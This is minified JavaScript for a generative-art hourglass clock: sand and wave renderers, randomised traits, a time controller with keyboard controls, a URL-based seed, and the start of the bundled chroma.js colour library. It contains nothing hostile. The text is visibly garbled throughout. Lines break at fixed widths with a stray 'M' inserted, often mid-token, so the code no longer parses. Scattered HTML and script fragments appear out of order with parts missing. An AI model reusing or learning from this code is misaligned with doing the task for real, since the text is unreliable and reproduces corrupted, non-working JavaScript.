,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
